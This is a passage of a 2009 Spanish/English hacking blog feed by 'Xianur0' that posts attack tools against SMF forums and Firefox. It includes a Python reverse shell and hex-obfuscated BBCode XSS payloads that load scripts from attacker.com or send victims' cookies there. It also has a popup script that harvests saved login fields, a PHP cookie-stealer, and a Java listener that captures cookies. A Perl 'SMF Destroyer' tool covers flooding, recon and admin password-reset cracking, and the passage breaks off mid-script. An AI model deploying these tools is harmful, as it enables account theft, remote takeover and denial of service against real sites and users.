/&gt;&lt;span style="font-weight: bold;"&gt;publicado!&lt;/span&gt; no hagane stupideses que yo no me hago responsable de nada simplemente les puse el ejemplo de la debilidad del SQL del SMF ante este tipo de situaciones...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8577192231806744441?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8577192231806744441/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8577192231806744441' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8577192231806744441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8577192231806744441'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/02/smf-killer-01-muy-potente.html' title='SMF Killer 0.1 (Muy Potente)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1175817977456306044</id><published>2009-02-07T21:22:00.000-08:00</published><updated>2009-02-07T21:28:35.165-08:00</updated><title type='text'>Moderation on MITM Forum</title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;Nominations are Open For Moderation on MITM Forum&lt;/span&gt;&lt;br /&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Minimum Requirements:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * 15 Posts Content (no spam, no opinions, no content copy &amp;amp; paste)&lt;br /&gt;    * Knowledge of the area to moderate&lt;br /&gt;    * Time to Keep Your area orderly&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;More Information:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://forum.mitm.cl/index.php?topic=874.0"&gt;http://forum.mitm.cl/index.php?topic=874.0&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1175817977456306044?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1175817977456306044/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1175817977456306044' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1175817977456306044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1175817977456306044'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/02/moderation-on-mitm-forum.html' title='Moderation on MITM Forum'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1264540622310875772</id><published>2009-02-05T16:47:00.000-08:00</published><updated>2009-02-05T17:00:33.369-08:00</updated><title type='text'>Firefox &amp; SMF Password Stealing By Xianur0</title><content type='html'>&lt;h2&gt;Firefox &amp;amp; SMF Password Stealing By Xianur0&lt;/h2&gt;&lt;b&gt;bbcode example:&lt;/b&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;[iurl=javascript:document.write(unescape('%3C%73%63%72%69%70%74%3E%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%22%68%74%74%70%3A%2F%2F%77%77%77%2E%61%74%61%63%61%6E%74%65%2E%63%6F%6D%2F%65%76%69%6C%70%6F%70%75%70%2E%68%74%6D%22%2C%22%45%76%69%6C%20%50%6F%70%75%70%22%2C%22%74%6F%6F%6C%62%61%72%3D%6E%6F%2C%20%6C%6F%63%61%74%69%6F%6E%3D%6E%6F%2C%20%64%69%72%65%63%74%6F%72%69%65%73%3D%6E%6F%2C%20%73%74%61%74%75%73%3D%6E%6F%2C%20%6D%65%6E%75%62%61%72%3D%6E%6F%2C%20%73%63%72%6F%6C%6C%62%61%72%73%3D%6E%6F%2C%20%72%65%73%69%7A%61%62%6C%65%3D%79%65%73%2C%20%77%69%64%74%68%3D%35%30%38%2C%20%68%65%69%67%68%74%3D%33%36%35%2C%20%74%6F%70%3D%38%35%2C%20%6C%65%66%74%3D%31%34%30%22%29%3B%3C%2F%73%63%72%69%70%74%3E')+"test");][img]http://.[/img]http://e-r00t.s0me.co.cc&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;evilpopup.htm example:&lt;/b&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;window.opener.location.href='?action=login';&lt;br /&gt;function alertar() {alert("User: " + window.opener.document.frmLogin.user.value + "\nPassword: " + window.opener.document.frmLogin.passwrd.value + "\nHacked! jejeje");}setTimeout("alertar()", 3000);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;uno mas basado en la misma ciencia y en la falla de seguridad de firefox con el manejo de passwords guardadas jejejeje :)...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1264540622310875772?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1264540622310875772/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1264540622310875772' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1264540622310875772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1264540622310875772'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/02/firefox-smf-password-stealing-by.html' title='Firefox &amp; SMF Password Stealing By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4524246768590388961</id><published>2009-02-04T19:50:00.000-08:00</published><updated>2009-02-04T19:56:17.050-08:00</updated><title type='text'>Advance Reverse Shell By Xianur0 [Python]</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/env python -u&lt;br /&gt;&lt;br /&gt;# By Xianur0&lt;br /&gt;# uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;import sys, socket, os&lt;br /&gt;&lt;br /&gt;if len(sys.argv) != 3:&lt;br /&gt; print "[x] Uso: %s [host] [port]" % (sys.argv[0])&lt;br /&gt;else:&lt;br /&gt; host = str(sys.argv[1])&lt;br /&gt; port = int(sys.argv[2])&lt;br /&gt; handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt; try:&lt;br /&gt;  try:&lt;br /&gt;   if os.fork() &amp;gt; 0: os._exit(0)&lt;br /&gt;  except OSError, error:&lt;br /&gt;   print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)&lt;br /&gt;   pid = os.fork()&lt;br /&gt;   if pid &amp;gt; 0:&lt;br /&gt;    print 'Fork No Valido!'&lt;br /&gt;  handler.connect((host, port))&lt;br /&gt;  print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"&lt;br /&gt;  os.dup2(handler.fileno(), sys.stdin.fileno())&lt;br /&gt;  os.dup2(handler.fileno(), sys.stdout.fileno())&lt;br /&gt;  handler.sendall(('\n&amp;lt;-------------------------Advance Reverse Shell By Xianur0--------------------&amp;gt;\n'))&lt;br /&gt;  while handler.recv:&lt;br /&gt;   handler.sendall(('\n\nXianur0:~ '))&lt;br /&gt;   os.system('/bin/bash')&lt;br /&gt; except:&lt;br /&gt;  print "[!] Error conectando"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4524246768590388961?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4524246768590388961/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4524246768590388961' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4524246768590388961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4524246768590388961'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/02/advance-reverse-shell-by-xianur0-python.html' title='Advance Reverse Shell By Xianur0 [Python]'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2499741220173038846</id><published>2009-02-02T12:48:00.000-08:00</published><updated>2009-02-03T14:53:23.026-08:00</updated><title type='text'>XSS BBCode Exploit SMF All Versions</title><content type='html'>&lt;div class="post" id="msg_7150"&gt;&lt;b&gt;Author:&lt;/b&gt; Xianur0&lt;br /&gt;&lt;br /&gt;&lt;b&gt;BBCode of the smf not filtered properly specified urls:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div style="overflow: scroll;" class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro&lt;br /&gt;:D...[/url][/size]&lt;br /&gt;[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Click on the image, run the javascript..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;BBC Cookie Exploit:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div style="overflow: scroll;" class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;[center][size=14pt][url=][/url][/size]&lt;br /&gt;[url=javascript:&lt;br /&gt;document.write(unescape('%3C%69%66%72%61%6D%65%20%77%69%64%74%68%3D%22%30%25%22%20%68%65%69%67%68%74%3D%22%30%25%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%61%74%74%61%63%6B%65%72%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%65%72%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%20%2B%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%20%2B%20%27%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%25%22%3E'));][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;PHP Cookie Stealer:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&amp;lt;?php&lt;br /&gt;$cookie &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'cookie'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$handler &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;fopen&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'cookies.txt'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'a'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;fwrite&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$handler&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$cookie&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2499741220173038846?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2499741220173038846/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2499741220173038846' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2499741220173038846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2499741220173038846'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/02/xss-bbcode-exploit-smf-all-versions.html' title='XSS BBCode Exploit SMF All Versions'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2321893288935352418</id><published>2009-01-23T22:40:00.000-08:00</published><updated>2009-01-23T22:42:37.781-08:00</updated><title type='text'>SMF all Versions XSRF/XSS/Package Upload Vulnerability</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Author:&lt;/span&gt; Xianur0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vulnerable Version:&lt;/span&gt; All&lt;br /&gt;&lt;br /&gt;&lt;a href="http://securityreason.com/exploitalert/5590"&gt;http://securityreason.com/exploitalert/5590&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2321893288935352418?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2321893288935352418/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2321893288935352418' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2321893288935352418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2321893288935352418'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/01/smf-all-versions-xsrfxsspackage-upload.html' title='SMF all Versions XSRF/XSS/Package Upload Vulnerability'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1869166529382830934</id><published>2009-01-17T14:06:00.000-08:00</published><updated>2009-01-17T14:10:13.892-08:00</updated><title type='text'>[PoC] Problems Invalids DNS Records</title><content type='html'>A classic error is that the DNS records are created by default "A" record that points to localhost 127.0.0.1, for example:&lt;br /&gt;localhost.php.net = 127.0.0.1&lt;br /&gt;If we make an HTTP GET query subdomain that the result is redirected to our own computer on port 80, so we can create an exploit that capture the data coming into this port (including cookies)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PoC Applet:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div style="overflow: scroll; color: rgb(51, 204, 0);" class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;/*&lt;br /&gt;* PoC Problems Invalids DNS Records.&lt;br /&gt;* Author: Xianur0&lt;br /&gt;* Credits:&lt;br /&gt;* Pandora's Box Team: http://e-r00t.s0me.co.cc&lt;br /&gt;* Infierno Hacker: http://www.infiernohacker.com/&lt;br /&gt;*/&lt;br /&gt;import java.applet.Applet;&lt;br /&gt;import java.io.*;&lt;br /&gt;import java.net.*;&lt;br /&gt;&lt;br /&gt;//By Xianur0&lt;br /&gt;//uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;public class PoC extends Applet {&lt;br /&gt;  public static void main(String args[])&lt;br /&gt;{&lt;br /&gt; // Message terminator&lt;br /&gt; char EOF = (char)0x00;&lt;br /&gt; try&lt;br /&gt; {&lt;br /&gt;  ServerSocket s = new ServerSocket(80);&lt;br /&gt;  System.out.println("Server started. Waiting for connections...");&lt;br /&gt;  // wait for incoming connections&lt;br /&gt;  Socket incoming = s.accept();&lt;br /&gt;  BufferedReader data_in = new BufferedReader(new InputStreamReader(incoming.getInputStream()));&lt;br /&gt;  PrintWriter data_out = new PrintWriter(incoming.getOutputStream());&lt;br /&gt;  // HTTP Response (Fake)&lt;br /&gt;  data_out.println("OK - 200\nCache-Control: private, max-age=0\nDate=Sat, 17 Jan 2009 18:15:23 GMT\nExpires: -1\nServer: Xianur0Exploit\nContent-Type=text/html; charset=UTF-8\n\nXianur0 Was Here!\n\n" + EOF);&lt;br /&gt;  data_out.flush();&lt;br /&gt;&lt;br /&gt;  boolean quit = false;&lt;br /&gt;&lt;br /&gt;  while (!quit)&lt;br /&gt;  {&lt;br /&gt;   String msg = data_in.readLine();&lt;br /&gt;   if (msg == null) quit = true;&lt;br /&gt;    System.out.println("HTTP Header: "+msg.trim()+EOF);&lt;br /&gt;    data_out.flush();&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; catch (Exception e)&lt;br /&gt; {&lt;br /&gt;  System.out.println("Can not create socket!");&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;only need to call the applet which created a socket to listen on port 80 and print data arriving &lt;img src="http://e-r00t.s0me.co.cc/foro/Smileys/classic/smiley.gif" alt="Smiley" border="0" /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nota: A los que decían que era imposible este bug simplemente les dire me salio el applet!! xDDDDDD&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;para que entiendan mas el como funciona:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xianur0.blogspot.com/2008/08/xss-otro-nivel.html" target="_blank"&gt;http://xianur0.blogspot.com/2008/08/xss-otro-nivel.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;aunque supongo que ya es un tema muy simple de entender xDDD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1869166529382830934?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1869166529382830934/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1869166529382830934' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1869166529382830934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1869166529382830934'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/01/poc-problems-invalids-dns-records.html' title='[PoC] Problems Invalids DNS Records'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8731689633964829749</id><published>2009-01-10T20:39:00.000-08:00</published><updated>2009-01-11T15:56:44.610-08:00</updated><title type='text'>SMF Destroyer 0.1 By Xianur0 [Priv8 Liberado]</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt; use LWP::UserAgent;&lt;br /&gt; use Getopt::Std;&lt;br /&gt; use LWP::Simple;&lt;br /&gt; use HTTP::Request;&lt;br /&gt;&lt;br /&gt;#By Xianur0&lt;br /&gt;#Uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n";&lt;br /&gt;my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL] [Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n-c  Link crack Activation (Recommended Use Proxy)");&lt;br /&gt;version();&lt;br /&gt;my $proxy = $ARGV[2] || "";&lt;br /&gt;if($ARGV[0] ne "-c" &amp;amp;&amp;amp; $proxy ne "") {&lt;br /&gt;$ua-&amp;gt;proxy(["http"], "http://".$proxy);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;   getopts('fplbc', \%opt);&lt;br /&gt;   crackeador() if $opt{c};&lt;br /&gt;   flood() if $opt{f};&lt;br /&gt;   path() if $opt{p};&lt;br /&gt;   list() if $opt{l};&lt;br /&gt;   temp() if $opt{b};&lt;br /&gt;&lt;br /&gt;sub headers {&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$req-&amp;gt;header('Accept-Language' =&amp;gt; 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub version {&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;$ua-&amp;gt;agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;my $html = $res-&amp;gt;content;&lt;br /&gt;if ($html =~ /title="Simple Machines Forum" target="_blank"&amp;gt;Powered by SMF (.*?)&amp;lt;\/a&amp;gt;/){&lt;br /&gt;$version = $1;&lt;br /&gt;print "\n[X] SMF Version: $version\n";&lt;br /&gt;if($version &amp;lt; "1.1.7") {&lt;br /&gt;print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X] http://milw0rm.com/search.php?dong=smf".$version."\n\n";&lt;br /&gt;}&lt;br /&gt;}}}&lt;br /&gt;&lt;br /&gt;sub path {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/SSI.php?ssi_layers');&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;my $html = $res-&amp;gt;content;&lt;br /&gt;if ($html =~ /Undefined variable: ssi_layers in &amp;lt;b&amp;gt;(.*?)SSI.php/){&lt;br /&gt;print "[X] Directory: $1\n";&lt;br /&gt;} else { print "[!] Getting error Directory!\n";}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub flood {&lt;br /&gt;print "[X] Starting Flood! (Press Ctrl + C To Finish)\n";&lt;br /&gt;$texto = "Flood!!!!!" x 15;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/index.php?action=help;page['.$texto.']=loginout');&lt;br /&gt;&amp;headers;&lt;br /&gt;for($i = 1; $i&amp;lt;10000; $i++) {&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;print "[-] Sent: ".$i."\n";&lt;br /&gt;} else {&lt;br /&gt;print "[!] HTTP Error Query: " . $res-&amp;gt;status_line . "\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub temp {&lt;br /&gt;@temps=('index.php~','Settings.php~','Settings_bak.php~');&lt;br /&gt;foreach $temp (@temps) {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url."/".$temp);&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;print "[X] Temporary File Found: ".$url."/".$temp."\n";&lt;br /&gt;} else {print "[!] Not Found: ".$url."/".$temp."\n";}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub list {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url."/Packages/installed.list");&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;my $html = $res-&amp;gt;content;&lt;br /&gt;my @htmls = split("\n", $html);&lt;br /&gt;foreach $mod (@htmls) {&lt;br /&gt;my @mod = split('\|\^\|', $mod);&lt;br /&gt;print "[X]Package:\nDescription: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub crackeador() {&lt;br /&gt;$url = $ARGV[0];&lt;br /&gt;$nick = $ARGV[1];&lt;br /&gt;$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID Admin] [Proxy:Puerto]\nExample: smf.pl -c http://www.simplemachines.org/community/ dschwab9 179 www.carlosslim.com:3128\n");&lt;br /&gt;my $reminder = $url."?action=reminder";&lt;br /&gt;my $smf = $reminder.";sa=setpassword;u=".$id.";code=";&lt;br /&gt;my $proxy = $ARGV[3];&lt;br /&gt;if($proxy ne "") {&lt;br /&gt;$ua-&amp;gt;proxy(["http"], "http://".$proxy);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub mail() {&lt;br /&gt;my $content = HTTP::Request-&amp;gt;new(GET =&amp;gt; $reminder);&lt;br /&gt;$contenedor = $ua-&amp;gt;request($content)-&amp;gt;as_string;&lt;br /&gt;if ($contenedor =~ /Set-Cookie: (.*?)&lt;br /&gt;/){&lt;br /&gt;       print "\n[+] SESSION Detected: $1\n";&lt;br /&gt;$session = $1;&lt;br /&gt;} else { die "[!] SESSION could not be found!\n";}&lt;br /&gt;if ($contenedor =~ /&amp;lt;input type="hidden" name="sc" value="(.*?)"/){&lt;br /&gt;       print "\n[+] sc Detected: $1\n";&lt;br /&gt; $sc = $1;&lt;br /&gt;} else { die "[!] SC could not be found!\n";}&lt;br /&gt;my $req = HTTP::Request-&amp;gt;new(POST =&amp;gt; 